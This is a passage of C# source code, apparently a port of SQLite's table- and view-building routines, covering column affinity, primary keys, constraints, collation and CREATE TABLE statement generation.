'FLOA' | SQLITE_AFF_REAL ** 'DOUB' | SQLITE_AFF_REAL ** ** If none of the substrings in the above table are found, ** SQLITE_AFF_NUMERIC is returned. */ static char sqlite3AffinityType( string zIn ) { //u32 h = 0; //char aff = SQLITE_AFF_NUMERIC; zIn = zIn.ToLower(); if ( zIn.Contains( "char" ) || zIn.Contains( "clob" ) || zIn.Contains( "text" ) ) return SQLITE_AFF_TEXT; if ( zIn.Contains( "blob" ) ) return SQLITE_AFF_NONE; if ( zIn.Contains( "doub" ) || zIn.Contains( "floa" ) || zIn.Contains( "real" ) ) return SQLITE_AFF_REAL; if ( zIn.Contains( "int" ) ) return SQLITE_AFF_INTEGER; return SQLITE_AFF_NUMERIC; // string zEnd = pType.z.Substring(pType.n); // while( zIn!=zEnd ){ // h = (h<<8) + sqlite3UpperToLower[*zIn]; // zIn++; // if( h==(('c'<<24)+('h'<<16)+('a'<<8)+'r') ){ /* CHAR */ // aff = SQLITE_AFF_TEXT; // }else if( h==(('c'<<24)+('l'<<16)+('o'<<8)+'b') ){ /* CLOB */ // aff = SQLITE_AFF_TEXT; // }else if( h==(('t'<<24)+('e'<<16)+('x'<<8)+'t') ){ /* TEXT */ // aff = SQLITE_AFF_TEXT; // }else if( h==(('b'<<24)+('l'<<16)+('o'<<8)+'b') /* BLOB */ // && (aff==SQLITE_AFF_NUMERIC || aff==SQLITE_AFF_REAL) ){ // aff = SQLITE_AFF_NONE; //#if !SQLITE_OMIT_FLOATING_POINT // }else if( h==(('r'<<24)+('e'<<16)+('a'<<8)+'l') /* REAL */ // && aff==SQLITE_AFF_NUMERIC ){ // aff = SQLITE_AFF_REAL; // }else if( h==(('f'<<24)+('l'<<16)+('o'<<8)+'a') /* FLOA */ // && aff==SQLITE_AFF_NUMERIC ){ // aff = SQLITE_AFF_REAL; // }else if( h==(('d'<<24)+('o'<<16)+('u'<<8)+'b') /* DOUB */ // && aff==SQLITE_AFF_NUMERIC ){ // aff = SQLITE_AFF_REAL; //#endif // }else if( (h&0x00FFFFFF)==(('i'<<16)+('n'<<8)+'t') ){ /* INT */ // aff = SQLITE_AFF_INTEGER; // break; // } // } // return aff; } /* ** This routine is called by the parser while in the middle of ** parsing a CREATE TABLE statement. The pFirst token is the first ** token in the sequence of tokens that describe the type of the ** column currently under construction. pLast is the last token ** in the sequence. Use this information to construct a string ** that contains the typename of the column and store that string ** in zType. */ static void sqlite3AddColumnType( Parse pParse, Token pType ) { Table p; Column pCol; p = pParse.pNewTable; if ( p == null || NEVER( p.nCol < 1 ) ) return; pCol = p.aCol[p.nCol - 1]; Debug.Assert( pCol.zType == null ); pCol.zType = sqlite3NameFromToken( pParse.db, pType ); pCol.affinity = sqlite3AffinityType( pCol.zType ); } /* ** The expression is the default value for the most recently added column ** of the table currently under construction. ** ** Default value expressions must be constant. Raise an exception if this ** is not the case. ** ** This routine is called by the parser while in the middle of ** parsing a CREATE TABLE statement. */ static void sqlite3AddDefaultValue( Parse pParse, ExprSpan pSpan ) { Table p; Column pCol; sqlite3 db = pParse.db; p = pParse.pNewTable; if ( p != null ) { pCol = ( p.aCol[p.nCol - 1] ); if ( sqlite3ExprIsConstantOrFunction( pSpan.pExpr ) == 0 ) { sqlite3ErrorMsg( pParse, "default value of column [%s] is not constant", pCol.zName ); } else { /* A copy of pExpr is used instead of the original, as pExpr contains ** tokens that point to volatile memory. The 'span' of the expression ** is required by pragma table_info. */ sqlite3ExprDelete( db, ref pCol.pDflt ); pCol.pDflt = sqlite3ExprDup( db, pSpan.pExpr, EXPRDUP_REDUCE ); //sqlite3DbFree( db, pCol.zDflt ); pCol.zDflt = pSpan.zStart.Substring( 0, pSpan.zStart.Length - pSpan.zEnd.Length ); //sqlite3DbStrNDup( db, pSpan.zStart, // (int)( pSpan.zEnd.Length - pSpan.zStart.Length ) ); } } sqlite3ExprDelete( db, ref pSpan.pExpr ); } /* ** Designate the PRIMARY KEY for the table. pList is a list of names ** of columns that form the primary key. If pList is NULL, then the ** most recently added column of the table is the primary key. ** ** A table can have at most one primary key. If the table already has ** a primary key (and this is the second primary key) then create an ** error. ** ** If the PRIMARY KEY is on a single column whose datatype is INTEGER, ** then we will try to use that column as the rowid. Set the Table.iPKey ** field of the table under construction to be the index of the ** INTEGER PRIMARY KEY column. Table.iPKey is set to -1 if there is ** no INTEGER PRIMARY KEY. ** ** If the key is not an INTEGER PRIMARY KEY, then create a unique ** index for the key. No index is created for INTEGER PRIMARY KEYs. */ // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3AddPrimaryKey( Parse pParse, int null_2, int onError, int autoInc, int sortOrder ) { sqlite3AddPrimaryKey( pParse, null, onError, autoInc, sortOrder ); } static void sqlite3AddPrimaryKey( Parse pParse, /* Parsing context */ ExprList pList, /* List of field names to be indexed */ int onError, /* What to do with a uniqueness conflict */ int autoInc, /* True if the AUTOINCREMENT keyword is present */ int sortOrder /* SQLITE_SO_ASC or SQLITE_SO_DESC */ ) { Table pTab = pParse.pNewTable; string zType = null; int iCol = -1, i; if ( pTab == null || IN_DECLARE_VTAB ) goto primary_key_exit; if ( ( pTab.tabFlags & TF_HasPrimaryKey ) != 0 ) { sqlite3ErrorMsg( pParse, "table \"%s\" has more than one primary key", pTab.zName ); goto primary_key_exit; } pTab.tabFlags |= TF_HasPrimaryKey; if ( pList == null ) { iCol = pTab.nCol - 1; pTab.aCol[iCol].isPrimKey = 1; } else { for ( i = 0 ; i < pList.nExpr ; i++ ) { for ( iCol = 0 ; iCol < pTab.nCol ; iCol++ ) { if ( sqlite3StrICmp( pList.a[i].zName, pTab.aCol[iCol].zName ) == 0 ) { break; } } if ( iCol < pTab.nCol ) { pTab.aCol[iCol].isPrimKey = 0; } } if ( pList.nExpr > 1 ) iCol = -1; } if ( iCol >= 0 && iCol < pTab.nCol ) { zType = pTab.aCol[iCol].zType; } if ( zType != null && sqlite3StrICmp( zType, "INTEGER" ) == 0 && sortOrder == SQLITE_SO_ASC ) { pTab.iPKey = iCol; pTab.keyConf = (byte)onError; Debug.Assert( autoInc == 0 || autoInc == 1 ); pTab.tabFlags |= (u8)( autoInc * TF_Autoincrement ); } else if ( autoInc != 0 ) { #if !SQLITE_OMIT_AUTOINCREMENT sqlite3ErrorMsg( pParse, "AUTOINCREMENT is only allowed on an " + "INTEGER PRIMARY KEY" ); #endif } else { sqlite3CreateIndex( pParse, null, null, null, pList, onError, null, null, sortOrder, 0 ); pList = null; } primary_key_exit: sqlite3ExprListDelete( pParse.db, ref pList ); return; } /* ** Add a new CHECK constraint to the table currently under construction. */ static void sqlite3AddCheckConstraint( Parse pParse, /* Parsing context */ Expr pCheckExpr /* The check expression */ ) { sqlite3 db = pParse.db; #if !SQLITE_OMIT_CHECK Table pTab = pParse.pNewTable; if ( pTab != null && !IN_DECLARE_VTAB ) { pTab.pCheck = sqlite3ExprAnd( db, pTab.pCheck, pCheckExpr ); } else #endif { sqlite3ExprDelete( db, ref pCheckExpr ); } } /* ** Set the collation function of the most recently parsed table column ** to the CollSeq given. */ static void sqlite3AddCollateType( Parse pParse, Token pToken ) { Table p; int i; string zColl; /* Dequoted name of collation sequence */ sqlite3 db; if ( ( p = pParse.pNewTable ) == null ) return; i = p.nCol - 1; db = p.dbMem; zColl = sqlite3NameFromToken( db, pToken ); if ( zColl == null ) return; if ( sqlite3LocateCollSeq( pParse, zColl ) != null ) { Index pIdx; p.aCol[i].zColl = zColl; /* If the column is declared as " PRIMARY KEY COLLATE ", ** then an index may have been created on this column before the ** collation type was added. Correct this if it is the case. */ for ( pIdx = p.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { Debug.Assert( pIdx.nColumn == 1 ); if ( pIdx.aiColumn[0] == i ) { pIdx.azColl[0] = p.aCol[i].zColl; } } } else { //sqlite3DbFree( db, ref zColl ); } } /* ** This function returns the collation sequence for database native text ** encoding identified by the string zName, length nName. ** ** If the requested collation sequence is not available, or not available ** in the database native encoding, the collation factory is invoked to ** request it. If the collation factory does not supply such a sequence, ** and the sequence is available in another text encoding, then that is ** returned instead. ** ** If no versions of the requested collations sequence are available, or ** another error occurs, NULL is returned and an error message written into ** pParse. ** ** This routine is a wrapper around sqlite3FindCollSeq(). This routine ** invokes the collation factory if the named collation cannot be found ** and generates an error message. ** ** See also: sqlite3FindCollSeq(), sqlite3GetCollSeq() */ static CollSeq sqlite3LocateCollSeq( Parse pParse, string zName ) { sqlite3 db = pParse.db; u8 enc = db.aDb[0].pSchema.enc;// ENC(db); u8 initbusy = db.init.busy; CollSeq pColl; pColl = sqlite3FindCollSeq( db, enc, zName, initbusy ); if ( 0 == initbusy && ( pColl == null || pColl.xCmp == null ) ) { pColl = sqlite3GetCollSeq( db, pColl, zName ); if ( pColl == null ) { sqlite3ErrorMsg( pParse, "no such collation sequence: %s", zName ); } } return pColl; } /* ** Generate code that will increment the schema cookie. ** ** The schema cookie is used to determine when the schema for the ** database changes. After each schema change, the cookie value ** changes. When a process first reads the schema it records the ** cookie. Thereafter, whenever it goes to access the database, ** it checks the cookie to make sure the schema has not changed ** since it was last read. ** ** This plan is not completely bullet-proof. It is possible for ** the schema to change multiple times and for the cookie to be ** set back to prior value. But schema changes are infrequent ** and the probability of hitting the same cookie value is only ** 1 chance in 2^32. So we're safe enough. */ static void sqlite3ChangeCookie( Parse pParse, int iDb ) { int r1 = sqlite3GetTempReg( pParse ); sqlite3 db = pParse.db; Vdbe v = pParse.pVdbe; sqlite3VdbeAddOp2( v, OP_Integer, db.aDb[iDb].pSchema.schema_cookie + 1, r1 ); sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_SCHEMA_VERSION, r1 ); sqlite3ReleaseTempReg( pParse, r1 ); } /* ** Measure the number of characters needed to output the given ** identifier. The number returned includes any quotes used ** but does not include the null terminator. ** ** The estimate is conservative. It might be larger that what is ** really needed. */ static int identLength( string z ) { int n; for ( n = 0 ; n < z.Length ; n++ ) { if ( z[n] == (byte)'"' ) { n++; } } return n + 2; } /* ** The first parameter is a pointer to an output buffer. The second ** parameter is a pointer to an integer that contains the offset at ** which to write into the output buffer. This function copies the ** nul-terminated string pointed to by the third parameter, zSignedIdent, ** to the specified offset in the buffer and updates *pIdx to refer ** to the first byte after the last byte written before returning. ** ** If the string zSignedIdent consists entirely of alpha-numeric ** characters, does not begin with a digit and is not an SQL keyword, ** then it is copied to the output buffer exactly as it is. Otherwise, ** it is quoted using double-quotes. */ static void identPut( StringBuilder z, ref int pIdx, string zSignedIdent ) { string zIdent = zSignedIdent; int i; int j; bool needQuote; i = pIdx; for ( j = 0 ; j < zIdent.Length ; j++ ) { if ( !sqlite3Isalnum( zIdent[j] ) && zIdent[j] != '_' ) break; } needQuote = sqlite3Isdigit( zIdent[0] ) || sqlite3KeywordCode( zIdent, j ) != TK_ID; if ( !needQuote ) { needQuote = ( j < zIdent.Length && zIdent[j] != 0 ); } if ( needQuote ) { if ( i == z.Length ) z.Append( '\0' ); z[i++] = '"'; } for ( j = 0 ; j < zIdent.Length ; j++ ) { if ( i == z.Length ) z.Append( '\0' ); z[i++] = zIdent[j]; if ( zIdent[j] == '"' ) { if ( i == z.Length ) z.Append( '\0' ); z[i++] = '"'; } } if ( needQuote ) { if ( i == z.Length ) z.Append( '\0' ); z[i++] = '"'; } //z[i] = 0; pIdx = i; } /* ** Generate a CREATE TABLE statement appropriate for the given ** table. Memory to hold the text of the statement is obtained ** from sqliteMalloc() and must be freed by the calling function. */ static string createTableStmt( sqlite3 db, Table p ) { int i, k, n; StringBuilder zStmt; string zSep; string zSep2; string zEnd; Column pCol; n = 0; for ( i = 0 ; i < p.nCol ; i++ ) {//, pCol++){ pCol = p.aCol[i]; n += identLength( pCol.zName ) + 5; } n += identLength( p.zName ); if ( n < 50 ) { zSep = ""; zSep2 = ","; zEnd = ")"; } else { zSep = "\n "; zSep2 = ",\n "; zEnd = "\n)"; } n += 35 + 6 * p.nCol; zStmt = new StringBuilder( n ); //zStmt = sqlite3Malloc( n ); //if( zStmt==0 ){ // db.mallocFailed = 1; // return 0; //} //sqlite3_snprintf(n, zStmt,"CREATE TABLE "); zStmt.Append( "CREATE TABLE " ); k = sqlite3Strlen30( zStmt ); identPut( zStmt, ref k, p.zName ); zStmt.Append( '(' );//zStmt[k++] = '('; for ( i = 0 ; i < p.nCol ; i++ ) {//, pCol++){ pCol = p.aCol[i]; string[] azType = new string[] { /* SQLITE_AFF_TEXT */ " TEXT", /* SQLITE_AFF_NONE */ "", /* SQLITE_AFF_NUMERIC */ " NUM", /* SQLITE_AFF_INTEGER */ " INT", /* SQLITE_AFF_REAL */ " REAL" }; int len; string zType; zStmt.Append( zSep );// sqlite3_snprintf(n-k, zStmt[k], zSep); k = sqlite3Strlen30( zStmt );// k += strlen(zStmt[k]); zSep = zSep2; identPut( zStmt, ref k, pCol.zName ); Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT >= 0 ); Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT < azType.Length );//sizeof(azType)/sizeof(azType[0]) ); testcase( pCol.affinity == SQLITE_AFF_TEXT ); testcase( pCol.affinity == SQLITE_AFF_NONE ); testcase( pCol.affinity == SQLITE_AFF_NUMERIC ); testcase( pCol.affinity == SQLITE_AFF_INTEGER ); testcase( pCol.affinity == SQLITE_AFF_REAL ); zType = azType[pCol.affinity - SQLITE_AFF_TEXT]; len = sqlite3Strlen30( zType ); Debug.Assert( pCol.affinity == SQLITE_AFF_NONE || pCol.affinity == sqlite3AffinityType( zType ) ); zStmt.Append( zType );// memcpy( &zStmt[k], zType, len ); k += len; Debug.Assert( k <= n ); } zStmt.Append( zEnd );//sqlite3_snprintf(n-k, zStmt[k], "%s", zEnd); return zStmt.ToString(); } /* ** This routine is called to report the final ")" that terminates ** a CREATE TABLE statement. ** ** The table structure that other action routines have been building ** is added to the internal hash tables, assuming no errors have ** occurred. ** ** An entry for the table is made in the master table on disk, unless ** this is a temporary table or db.init.busy==1. When db.init.busy==1 ** it means we are reading the sqlite_master table because we just ** connected to the database or because the sqlite_master table has ** recently changed, so the entry for this table already exists in ** the sqlite_master table. We do not want to create it again. ** ** If the pSelect argument is not NULL, it means that this routine ** was called to create a table generated from a ** "CREATE TABLE ... AS SELECT ..." statement. The column names of ** the new table will match the result set of the SELECT. */ // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3EndTable( Parse pParse, Token pCons, Token pEnd, int null_4 ) { sqlite3EndTable( pParse, pCons, pEnd, null ); } static void sqlite3EndTable( Parse pParse, int null_2, int null_3, Select pSelect ) { sqlite3EndTable( pParse, null, null, pSelect ); } static void sqlite3EndTable( Parse pParse, /* Parse context */ Token pCons, /* The ',' token after the last column defn. */ Token pEnd, /* The final ')' token in the CREATE TABLE */ Select pSelect /* Select from a "CREATE ... AS SELECT" */ ) { Table p; sqlite3 db = pParse.db; int iDb; if ( ( pEnd == null && pSelect == null ) /*|| db.mallocFailed != 0 */ ) { return; } p = pParse.pNewTable; if ( p == null ) return; Debug.Assert( 0 == db.init.busy || pSelect == null ); iDb = sqlite3SchemaToIndex( db, p.pSchema ); #if !SQLITE_OMIT_CHECK /* Resolve names in all CHECK constraint expressions. */ if ( p.pCheck != null ) { SrcList sSrc; /* Fake SrcList for pParse.pNewTable */ NameContext sNC; /* Name context for pParse.pNewTable */ sNC = new NameContext();// memset(sNC, 0, sizeof(sNC)); sSrc = new SrcList();// memset(sSrc, 0, sizeof(sSrc)); sSrc.nSrc = 1; sSrc.a = new SrcList_item[1]; sSrc.a[0] = new SrcList_item(); sSrc.a[0].zName = p.zName; sSrc.a[0].pTab = p; sSrc.a[0].iCursor = -1; sNC.pParse = pParse; sNC.pSrcList = sSrc; sNC.isCheck = 1; if ( sqlite3ResolveExprNames( sNC, ref p.pCheck ) != 0 ) { return; } } #endif // * !SQLITE_OMIT_CHECK) */ /* If the db.init.busy is 1 it means we are reading the SQL off the ** "sqlite_master" or "sqlite_temp_master" table on the disk. ** So do not write to the disk again. Extract the root page number ** for the table from the db.init.newTnum field. (The page number ** should have been put there by the sqliteOpenCb routine.) */ if ( db.init.busy != 0 ) { p.tnum = db.init.newTnum; } /* If not initializing, then create a record for the new table ** in the SQLITE_MASTER table of the database. ** ** If this is a TEMPORARY table, write the entry into the auxiliary ** file instead of into the main database file. */ if ( 0 == db.init.busy ) { int n; Vdbe v; String zType = ""; /* "view" or "table" */ String zType2 = ""; /* "VIEW" or "TABLE" */ String zStmt = ""; /* Text of the CREATE TABLE or CREATE VIEW statement */ v = sqlite3GetVdbe( pParse ); if ( NEVER( v == null ) ) return; sqlite3VdbeAddOp1( v, OP_Close, 0 ); /* ** Initialize zType for the new view or table. */ if ( p.pSelect == null ) { /* A regular table */ zType = "table"; zType2 = "TABLE"; #if !SQLITE_OMIT_VIEW } else { /* A view */ zType = "view"; zType2 = "VIEW"; #endif } /* If this is a CREATE TABLE xx AS SELECT ..., execute the SELECT ** statement to populate the new table. The root-page number for the ** new table is in register pParse->regRoot. ** ** Once the SELECT has been coded by sqlite3Select(), it is in a ** suitable state to query for the column names and types to be used ** by the new table. ** ** A shared-cache write-lock is not required to write to the new table, ** as a schema-lock must have already been obtained to create it. Since ** a schema-lock excludes all other database users, the write-lock would ** be redundant. */ if ( pSelect != null ) { SelectDest dest = new SelectDest(); Table pSelTab; Debug.Assert( pParse.nTab == 1 ); sqlite3VdbeAddOp3( v, OP_OpenWrite, 1, pParse.regRoot, iDb ); sqlite3VdbeChangeP5( v, 1 ); pParse.nTab = 2; sqlite3SelectDestInit( dest, SRT_Table, 1 ); sqlite3Select( pParse, pSelect, ref dest ); sqlite3VdbeAddOp1( v, OP_Close, 1 ); if ( pParse.nErr == 0 ) { pSelTab = sqlite3ResultSetOfSelect( pParse, pSelect ); if ( pSelTab == null ) return; Debug.Assert( p.aCol == null ); p.nCol = pSelTab.nCol; p.aCol = pSelTab.aCol; pSelTab.nCol = 0; pSelTab.aCol = null; sqlite3DeleteTable( ref pSelTab ); } } /* Compute the complete text of the CREATE statement */ if ( pSelect != null ) { zStmt = createTableStmt( db, p ); } else { n = (int)( pParse.sNameToken.z.Length - pEnd.z.Length ) + 1; zStmt = sqlite3MPrintf( db, "CREATE %s %.*s", zType2, n, pParse.sNameToken.z ); } /* A slot for the record has already been allocated in the ** SQLITE_MASTER table. We just need to update that slot with all ** the information we've collected. */ sqlite3NestedParse( pParse, "UPDATE %Q.%s " + "SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q " + "WHERE rowid=#%d", db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), zType, p.zName, p.zName, pParse.regRoot, zStmt, pParse.regRowid ); //sqlite3DbFree( db, ref zStmt ); sqlite3ChangeCookie( pParse, iDb ); #if !SQLITE_OMIT_AUTOINCREMENT /* Check to see if we need to create an sqlite_sequence table for ** keeping track of autoincrement keys. */ if ( ( p.tabFlags & TF_Autoincrement ) != 0 ) { Db pDb = db.aDb[iDb]; if ( pDb.pSchema.pSeqTab == null ) { sqlite3NestedParse( pParse, "CREATE TABLE %Q.sqlite_sequence(name,seq)", pDb.zName ); } } #endif /* Reparse everything to update our internal data structures */ sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, sqlite3MPrintf( db, "tbl_name='%q'", p.zName ), P4_DYNAMIC ); } /* Add the table to the in-memory representation of the database. */ if ( db.init.busy != 0 ) { Table pOld; Schema pSchema = p.pSchema; pOld = (Table)sqlite3HashInsert( ref pSchema.tblHash, p.zName, sqlite3Strlen30( p.zName ), p ); if ( pOld != null ) { Debug.Assert( p == pOld ); /* Malloc must have failed inside HashInsert() */ // db.mallocFailed = 1; return; } pParse.pNewTable = null; db.nTable++; db.flags |= SQLITE_InternChanges; #if !SQLITE_OMIT_ALTERTABLE if ( p.pSelect == null ) { string zName = pParse.sNameToken.z; int nName; Debug.Assert( pSelect == null && pCons != null && pEnd != null ); if ( pCons.z == null ) { pCons = pEnd; } nName = zName.Length - pCons.z.Length; p.addColOffset = 13 + nName; // sqlite3Utf8CharLen(zName, nName); } #endif } } #if !SQLITE_OMIT_VIEW /* ** The parser calls this routine in order to create a new VIEW */ static void sqlite3CreateView( Parse pParse, /* The parsing context */ Token pBegin, /* The CREATE token that begins the statement */ Token pName1, /* The token that holds the name of the view */ Token pName2, /* The token that holds the name of the view */ Select pSelect, /* A SELECT statement that will become the new view */ int isTemp, /* TRUE for a TEMPORARY view */ int noErr /* Suppress error messages if VIEW already exists */ ) { Table p; int n; string z;//const char *z; Token sEnd; DbFixer sFix = new DbFixer(); Token pName = null; int iDb; sqlite3 db = pParse.db; if ( pParse.nVar > 0 ) { sqlite3ErrorMsg( pParse, "parameters are not allowed in views" ); sqlite3SelectDelete( db, ref pSelect ); return; } sqlite3StartTable( pParse, pName1, pName2, isTemp, 1, 0, noErr ); p = pParse.pNewTable; if ( p == null ) { sqlite3SelectDelete( db, ref pSelect ); return; } Debug.Assert( pParse.nErr == 0 ); /* If sqlite3StartTable return non-NULL then ** there could not have been an error */ sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); iDb = sqlite3SchemaToIndex( db, p.pSchema ); if ( sqlite3FixInit( sFix, pParse, iDb, "view", pName ) != 0 && sqlite3FixSelect( sFix, pSelect ) != 0 ) { sqlite3SelectDelete( db, ref pSelect ); return; } /* Make a copy of the entire SELECT statement that defines the view. ** This will force all the Expr.token.z values to be dynamically ** allocated rather than point to the input string - which means that ** they will persist after the current sqlite3_exec() call returns. */ p.pSelect = sqlite3SelectDup( db, pSelect, EXPRDUP_REDUCE ); sqlite3SelectDelete( db, ref pSelect ); //if ( db.mallocFailed != 0 ) //{ // return; //} if ( 0 == db.init.busy ) { sqlite3ViewGetColumnNames( pParse, p ); } /* Locate the end of the CREATE VIEW statement. Make sEnd point to ** the end. */ sEnd = pParse.sLastToken; if ( ALWAYS( sEnd.z[0] != 0 ) && sEnd.z[0] != ';' ) { sEnd.z = sEnd.z.Substring( sEnd.n ); } sEnd.n = 0; n = (int)( pBegin.z.Length - sEnd.z.Length );//sEnd.z - pBegin.z; z = pBegin.z; while ( ALWAYS( n > 0 ) && sqlite3Isspace( z[n - 1] ) ) { n--; } sEnd.z = z.Substring( n - 1 ); sEnd.n = 1; /* Use sqlite3EndTable() to add the view to the SQLITE_MASTER table */ sqlite3EndTable( pParse, null, sEnd, null ); return; } #endif // * SQLITE_OMIT_VIEW */ #if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_VIRTUALTABLE /* ** The Table structure pTable is really a VIEW. Fill in the names of ** the columns of the view in the pTable structure. Return the number ** of errors. If an error is seen leave an error message in pParse.zErrMsg. */ static int sqlite3ViewGetColumnNames( Parse pParse, Table pTable ) { Table pSelTab; /* A fake table from which we get the result set */ Select pSel; /* Copy of the SELECT that implements the view */ int nErr = 0; /* Number of errors encountered */ int n; /* Temporarily holds the number of cursors assigned */ sqlite3 db = pParse.db; /* Database connection for malloc errors */ dxAuth xAuth; //)(void*,int,const char*,const char*,const char*,const char*); Debug.Assert( pTable != null ); #if !SQLITE_OMIT_VIRTUALTABLE if ( sqlite3VtabCallConnect( pParse, pTable ) ) { return SQLITE_ERROR; } #endif if ( IsVirtual( pTable ) ) return 0; #if !SQLITE_OMIT_VIEW /* A positive nCol means the columns names for this view are ** already known. */ if ( pTable.nCol > 0 ) return 0; /* A negative nCol is a special marker meaning that we are currently ** trying to compute the column names. If we enter this routine with ** a negative nCol, it means two or more views form a loop, like this: ** ** CREATE VIEW one AS SELECT * FROM two; ** CREATE VIEW two AS SELECT * FROM one; ** ** Actually, the error above is now caught prior to reaching this point. ** But the following test is still important as it does come up ** in the following: ** ** CREATE TABLE main.ex1(a); ** CREATE TEMP VIEW ex1 AS SELECT a FROM ex1; ** SELECT * FROM temp.ex1; */ if ( pTable.nCol < 0 ) { sqlite3ErrorMsg( pParse, "view %s is circularly defined", pTable.zName ); return 1; } Debug.Assert( pTable.nCol >= 0 ); /* If we get this far, it means we need to compute the table names. ** Note that the call to sqlite3ResultSetOfSelect() will expand any ** "*" elements in the results set of the view and will assign cursors ** to the elements of the FROM clause. But we do not want these changes ** to be permanent. So the computation is done on a copy of the SELECT ** statement that defines the view. */ Debug.Assert( pTable.pSelect != null ); pSel = sqlite3SelectDup( db, pTable.pSelect, 0 ); if ( pSel != null ) { u8 enableLookaside = db.lookaside.bEnabled; n = pParse.nTab; sqlite3SrcListAssignCursors( pParse, pSel.pSrc ); pTable.nCol = -1; db.lookaside.bEnabled = 0; #if !SQLITE_OMIT_AUTHORIZATION xAuth = db.xAuth; db.xAuth = 0; pSelTab = sqlite3ResultSetOfSelect(pParse, pSel); db.xAuth = xAuth; #else pSelTab = sqlite3ResultSetOfSelect( pParse, pSel ); #endif db.lookaside.bEnabled = enableLookaside; pParse.nTab = n; if ( pSelTab != null ) { Debug.Assert( pTable.aCol == null ); pTable.nCol = pSelTab.nCol; pTable.aCol = pSelTab.aCol; pSelTab.nCol = 0; pSelTab.aCol = null; sqlite3DeleteTable( ref pSelTab ); pTable.pSchema.flags |= DB_UnresetViews; } else { pTable.nCol = 0; nErr++; } sqlite3SelectDelete( db, ref pSel ); } else { nErr++; } #endif // * SQLITE_OMIT_VIEW */ return nErr; } #endif // * !SQLITE_OMIT_VIEW) || !SQLITE_OMIT_VIRTUALTABLE) */ #if !SQLITE_OMIT_VIEW /* ** Clear the column names from every VIEW in database idx. */ static void sqliteViewResetAll( sqlite3 db, int idx ) { HashElem i; if ( !DbHasProperty( db, idx, DB_UnresetViews ) ) return; //for(i=sqliteHashFirst(&db.aDb[idx].pSchema.tblHash); i;i=sqliteHashNext(i)){ for ( i = db.aDb[idx].pSchema.tblHash.first ; i != null ; i = i.next ) { Table pTab = (Table)i.data;// sqliteHashData( i ); if ( pTab.pSelect != null ) { sqliteResetColumnNames( pTab ); } } DbClearProperty( db, idx, DB_UnresetViews ); } #else //# define sqliteViewResetAll(A,B) #endif // * SQLITE_OMIT_VIEW */ /* ** This function is called by the VDBE to adjust the internal schema ** used by SQLite when the btree layer moves a table root page. The ** root-page of a table or index in database iDb has changed from iFrom ** to iTo. ** ** Ticket #1728: The symbol table might still contain information ** on tables and/or indices that are the process of being deleted. ** If you are unlucky, one of those deleted indices or tables might ** have the same rootpage number as the real table or index that is ** being moved. So we cannot stop searching after the first match ** because the first match might be for one of the deleted indices ** or tables and not the table/index that is actually being moved. ** We must continue looping until all tables and indices with ** rootpage==iFrom have been converted to have a rootpage of iTo ** in order to be certain that we got the right one. */ #if !SQLITE_OMIT_AUTOVACUUM static void sqlite3RootPageMoved( Db pDb, int iFrom, int iTo ) { HashElem pElem; Hash pHash; pHash = pDb.pSchema.tblHash; for ( pElem = pHash.first ; pElem != null ; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) ) { Table pTab = (Table)pElem.data;// sqliteHashData( pElem ); if ( pTab.tnum == iFrom ) { pTab.tnum = iTo; } } pHash = pDb.pSchema.idxHash; for ( pElem = pHash.first ; pElem != null ; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) ) { Index pIdx = (Index)pElem.data;// sqliteHashData( pElem ); if ( pIdx.tnum == iFrom ) { pIdx.tnum = iTo; } } } #endif /* ** Write code to erase the table with root-page iTable from database iDb. ** Also write code to modify the sqlite_master table and internal schema ** if a root-page of another table is moved by the btree-layer whilst ** erasing iTable (this can happen with an auto-vacuum database). */ static void destroyRootPage( Parse pParse, int iTable, int iDb ) { Vdbe v = sqlite3GetVdbe( pParse ); int r1 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_Destroy, iTable, r1, iDb ); #if !SQLITE_OMIT_AUTOVACUUM /* OP_Destroy stores an in integer r1. If this integer ** is non-zero, then it is the root page number of a table moved to ** location iTable. The following code modifies the sqlite_master table to ** reflect this. ** ** The "#NNN" in the SQL is a special constant that means whatever value ** is in register NNN. See grammar rules associated with the TK_REGISTER ** token for additional information. */ sqlite3NestedParse( pParse, "UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d", pParse.db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), iTable, r1, r1 ); #endif sqlite3ReleaseTempReg( pParse, r1 ); } /* ** Write VDBE code to erase table pTab and all associated indices on disk. ** Code to update the sqlite_master tables and internal schema definitions ** in case a root-page belonging to another table is moved by the btree layer ** is also added (this can happen with an auto-vacuum database). */ static void destroyTable( Parse pParse, Table pTab ) { #if SQLITE_OMIT_AUTOVACUUM Index pIdx; int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); destroyRootPage( pParse, pTab.tnum, iDb ); for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { destroyRootPage( pParse, pIdx.tnum, iDb ); } #else /* If the database may be auto-vacuum capable (if SQLITE_OMIT_AUTOVACUUM ** is not defined), then it is important to call OP_Destroy on the ** table and index root-pages in order, starting with the numerically ** largest root-page number. This guarantees that none of the root-pages ** to be destroyed is relocated by an earlier OP_Destroy. i.e. if the ** following were coded: ** ** OP_Destroy 4 0 ** ... ** OP_Destroy 5 0 ** ** and root page 5 happened to be the largest root-page number in the ** database, then root page 5 would be moved to page 4 by the ** "OP_Destroy 4 0" opcode. The subsequent "OP_Destroy 5 0" would hit ** a free-list page. */ int iTab = pTab.tnum; int iDestroyed = 0; while ( true ) { Index pIdx; int iLargest = 0; if ( iDestroyed == 0 || iTab < iDestroyed ) { iLargest = iTab; } for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { int iIdx = pIdx.tnum; Debug.Assert( pIdx.pSchema == pTab.pSchema ); if ( ( iDestroyed == 0 || ( iIdx < iDestroyed ) 